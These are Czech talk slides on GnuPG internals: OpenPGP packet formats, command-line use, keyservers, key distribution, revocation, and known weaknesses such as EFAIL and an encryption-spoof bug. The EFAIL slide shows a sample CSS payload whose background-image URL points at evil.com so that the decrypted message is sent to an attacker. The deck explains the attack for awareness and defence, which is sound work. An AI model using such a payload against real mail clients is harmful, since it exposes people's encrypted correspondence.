PGP/GnuPG a nadstavby

Vnitřnosti GnuPG – formát zpráv, keyringu. Jak funguji tooly nad ním (Enigmail apod)

abyssal • **7.6.2018**

GnuPG

- opensource náhrada PGP
- formát packetů je standardizován
  - RFC 4880 (OpenPGP packet format)
- low-level analýza zpráv pomocí:
  - gpg --list-packets
  - pgpdump -ilmp (externí utilita)

Příklad packet formátu

- v šifrované a podepsané zprávě není vidět, kdo ji podepsal, dokud se nedešifruje (!)

```
Old: Public-Key Encrypted Session Key Packet(tag 1)(268 bytes)
     New version(3)
     Key ID - 0xACBDEF1100E0B6FB
     Pub alg - RSA Encrypt or Sign(pub 1)
     RSA m^e mod n(2047 bits) - 60 e1 f8 22 62 f5 47 37 fb 8a 56 af 89 a6 46 cf 3d 17 a5
ca 51 35 53 42 fa 5f e0 72 cd 48 80 ae 1a e0 df 24 c0 bf 46 43 97 1b a4 87 2b 04 92 83 a3
0e 8e 56 b8 cd 44 81 50 ef ca 0d d9 ab 7f d1 86 16 75 8d 4f f8 98 d5 35 50 a3 af ed 8c c6
[...]
          -> m = sym alg(1 byte) + checksum(2 bytes) + PKCS-1 block type 02
New: Symmetrically Encrypted and MDC Packet(tag 18)(458 bytes)
     Ver 1
     Encrypted data [sym alg is specified in pub-key encrypted session key]
          (plain text + MDC SHA1(20 bytes))
```

Packet format (keyring)

- v keyringu lze vidět public key, podpisy
- ale i věci jako preferované hash algoritmy nebo preferovaný key server

```
:signature packet: algo 1, keyid ABCDABCDABCDABCD
        version 4, created 1332591488, md5len 0, sigclass 0x13
        digest algo 2, begin of digest 1a 39
        hashed subpkt 27 len 1 (key flags: 03)
        hashed subpkt 11 len 5 (pref-sym-algos: 9 8 7 3 2)
        hashed subpkt 21 len 5 (pref-hash-algos: 8 2 9 10 11)
        hashed subpkt 22 len 3 (pref-zip-algos: 2 3 1)
        hashed subpkt 30 len 1 (features: 01)
        hashed subpkt 23 len 1 (key server preferences: 80)
        hashed subpkt 25 len 1 (primary user ID)
        hashed subpkt 2 len 4 (sig created 2012-03-14)
        hashed subpkt 24 len 31 (preferred key server: x-hkp://pool.sks-
keyservers.net)
```

Packet formát – anomálie

- encrypted packets můžou být zanořeny
- jde spíš o nejasnost standardu, nebylo to zamýšleno k použití
- interně v GnuPG je max depth = 32
- prakticky to nemá využití, ale nezpůsobilo to zatím žádnou chybu

GnuPG command line

- uživatelsky dost nepřehledné UI
- uživatelsky přívětivé asi jako Git
- základní optiony
  - -- encrypt / --decrypt
  - --sign / --verify
  - -a (ASCII armor output, vhodné pro mail)
  - --recv-keys (nalézt na keyserveru)
  - --send-keys (publikovat na keyserveru)

GnuPG command line (2)

- advanced options
  - --detach-sign (podpis do separátního souboru), vhodné na podpisování velkých dat (ISO images)
  - --clearsign (podpis krátkých zpráv in-line, ignoruje typ konce řádků LF vs CR vs CR/LF)

GnuPG command line (3)

- dost užitečných věcí je skrytých pod bizarními optiony
- zjištění, komu je zpráva šifrována (lze vypnout, --throw-keyid – není default)

```
gpg --batch --decrypt --list-only --status-fd 1
```

In-line podpis (--clearsign)

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Babish neni podvodnik
a nikdy nikoho nezabil.

Feroslav Kmenta.
-----BEGIN PGP SIGNATURE-----

KR79db1ENwoNjsySbnrTVA/3Q/dqv8kpK+Yoz5Dh2rS7ptprB5+Kio8x3cLbMZcaUBkvf1Af6miv
qvvlmDS35z8peNBhtVpwNx6qFI/nKEHQVc3CwxCOYIb5nW3CZtFyTpbfxttFMwBL4tXMVkd2477B
S+kYfbnmKIH1JP60k2K5ZlR+ZcD16EZoLgcXgHt8/ulyI6QCEiKUTcXyIjwIfS10RYGi2bl4O+yT
De3KvFoZgyV7fYO3KrATck4QXyOrFfb9WMnocSH/ZUjdT+BmQHbIBU4cPWRm8TlaK7Fzk1bXRDBd
ehW/cLwyTuiMmpfaASZyvBwVnbs4uLtk3ovsYw==
-----END PGP SIGNATURE-----
```

Keyservery

- je jich málo, řádově tak < 10 hlavních
- synchronizují si klíče
- pokud chcete provozovat keyserver, je nutné se domluvit s ostatními
- jinak si můžete asi provozovat vlastní, ale bez synchronizace

Current security status

- bezpečné jen pokud je používáno z command line
- integrace s mail klientami je komplikovaná kvůli API, může leakovat data
- poslední známý bug EFAIL je založen na tom, že se mail klient obětí použite jako „dešifrovací orákulum“

EFAIL

- necháte to oběť dešifrovat a použijete např. jako request na CSS background
- do těla mailu se přidá část, která zašle dešifrovaný plaintext na server útočníka

```
body {
    background-image: url("http://evil.com/
-----BEGIN PGP MESSAGE-----

hQEMA53h4xEA4LbKAQf/WIHhWu1p9dhDbu21O/MI9EopsMP6hb8KqJ2UfmwSl9cD
[...]
-----END PGP MESSAGE-----

");
}
```

EFAIL (2)

- funguje to jen s HTML emaily
- i když třeba Thunderbird blokuje remote images, existují části HTML, kterých remote načítání neblokuje
- každý mailový klient má jiné HTML tay, přes které lze použít dešifrovací orákulum

Zpráva s nešifrovanou částí

- bug – není to prakticky exploitovatelné
- https://neopg.io/blog/encryption-spoof/
- je možné poslat zprávu, která má část šifrovanou (prázdnou) a část plaintext
- mail klient to zobrazí jako kdyby celá zpráva byla šifrovaná
- podpis tomu zabrání

Zpráva s nešifrovanou částí (2)

```
$ cat msg | gpg --list-packet
gpg: encrypted with 2048-bit RSA key, ID 66489556790B2E8E, created 2018-03-
25
      "twitter://lambdafu"
# off=0 ctb=85 tag=1 hlen=3 plen=268
:pubkey enc packet: version 3, algo 1, keyid 66489556790B2E8E
    data: [2048 bits]
# off=271 ctb=d2 tag=18 hlen=2 plen=33 new-ctb
:encrypted data packet:
    length: 33 (nepokrývá celý zbytek zprávy)
    mdc_method: 2
# off=306 ctb=cb tag=11 hlen=2 plen=20 new-ctb
:literal data packet:
    mode b (62), created 0, name="",
    raw data: 14 bytes
```

Zpráva s nešifrovanou částí (3)

- GPG tento případ kontroluje a vyhlásí chybu, pokud je těch paketů víc
- v tomto případě je bug v tom, že první packet byl prázdný
- opět, podpis tomu zabrání a bez dešifrování nelze vidět

Distribuce veřejných klíčů

- dosud otevřený problém (proto u TLS existuje PKI a CA jako Let's Encrypt)
- u PGP je nalezení veřejného klíče (nového/neznámého člověka) celkem obtížné
- původní nápad byl – keyservery, ověřit fingerprint přes jiný kanál (osobně/telefon)
- což je problém, pokud toho člověka neznáte

Praktické publikování klíče

- web s https (transport security + integrity), např. vlastní nebo brmlab wiki (má historii změn a kdo je udělal)
- vygooglitelné podle jména i fingerprintu
- ověřitelné dalšími kanály
  - whois domény
  - ověření třetí strany (Twitter)
- keybase.io nabízí registraci vícero způsobů ověření (vlastní web, github, twitter...)

Praktické publikování klíče (2)

- nic z předchozích metod není 100%
- ale dává to extra překážky někomu snažícím se vás impersonovat
- lepší než akceptování náhodného klíče

Jak může útočník dešifrovat zprávu

- šifrování se neprolamuje, ale obchází
- z dlouhodobého sledování jde v převážné většině o přesvědčení oběti, aby si sama nainstalovala malware (Hacking Team), 0daye jsou zřídkavé
- v případě exponovaných osob (Tor project) někdo nahrál na keyservery klíč se stejným key ID – 32-bitové key ID lze bruteforcovat
- proto se musí ověřit celý fingerprint

Bugy

- spíš se vám povede poslat nešifrovaně kvůli bugu
  - Enigmail při updatu změní preference
  - nekompatiblita verze Thunderbirdu s Enigmailem bez řádného version checku
  - v druhém případě šlo dešifrovat, verifikovat podpisy, šifrovalo maily v draftech, ale odesílalo bez šifrování
- stalo se mi to za léta jen 2x, ale nepříjemné

GnuPG API a nadstavby (Enigmail, ...)

- GnuPG nemá dobré API pro knihovny
  - většina parsuje výstup z stdout
  - libgcrypt – jednotlivé algoritmy
  - libassuan – komunikační knihova s GnuPG přes socket (textový protokol)
  - good luck finding good examples
- důvod používaní binárky gpg a parsování výstupu je zřejmě v tom, že se to na první pohled zdá jednodušší, není třeba NPAPI

Revokace

- co udělat, když ztratíte klíč, zapomenete heslo, ukradnou vám notebook?
- teorie: vygenerovat revokační certifikát dopředu, ten publikovat později
- lidi by měli pravidelně spouštět gpg –refresh-keys
- vůbec to nefunguje
  - ani u TLS (kdysi seznamy CRL, pak OCSP)

Řešení revokace

- časově omezené klíče
  - u TLS to Let's Encrypt limituje na 90 dní, ale tohle je příliš krátké na PGP
- podepsat nový public key se starým klíčem a zvěřejnit ho (web, twitter, ...)
- teoreticky to lze dělat s podklíčemi
  - ale opět si lidi musí refreshovat klíče
- při revokaci dát aktivně vědet

Distribuce klíčů v jiných apps

- Signal
  - závisí na SS7 (jinak může útočník přiřadit svůj klíč k vašemu číslu)
  - bug když máte ke kontaktu vícero čísel (vyžaduje trocha social engineering)
  - revokace - unregister (nebo výměnou)
- Threema
  - ověřování při setkání kontrolou (QR kód)
- prakticky revokace/rotace problematická

Co by bylo těžší pro state-level attacker (GnuPG vs Signal)

- nikdy jsem neviděl, že by někdo útočil na šifrování (to se obchází – vždy malware)
- státy mají obecně jednodušší přístup k mobilním sítím („one click“) než k náhodnému mail/VPS providerovi (kvůli centralizaci)
- na hackfórach prý SS7 přístup (přeroutování 1 čísla začíná od $50)
- vyžádání dat od VPS providera ~= 0%

GnuPG vs Signal vs state-level attacker (2)

- Signal má perfect forward security (PFS), tudíž nelze dešifrovat staré zašifrované zprávy (proto ten malware)
- PFS moc dobře nejde bez online key-exchange jako Diffie-Hellman/ECDH/...
- ze sledování „going dark“ fear mongeringu FBI stejně to policie stejně neumí
  - používá se malware a bruteforce PINu

Shrnutí

- podpisovat zprávy je dobrý nápad (kdokoliv je může zašifrovat a poslat, ne podepsat)
  - podpis nelze vidět až do dešifrování
- veřejné klíče nalezitelné s fingerprintem na webu organizace, kam člověk přísluší (s https), vlastním webem – víc kanálů na ověření
- při rotování klíču podepsat nový starým

Shrnutí (2)

- revokace aktivně (obeslat mailinglisty, ...)
  - stále je dobré nahrát revokační certifikát na keyserver
  - teoreticky by šlo všechno asi zbundlovat do jedné zprávy (revokace + nový klíč)
- workaround v mail klientech je zakázat HTML rendering (AFAIK to nelze selektivně jen pro zašifrované maily)
- na 100% jistotu copy-paste & použít z command line (je to otrava)

Thanks

abyssal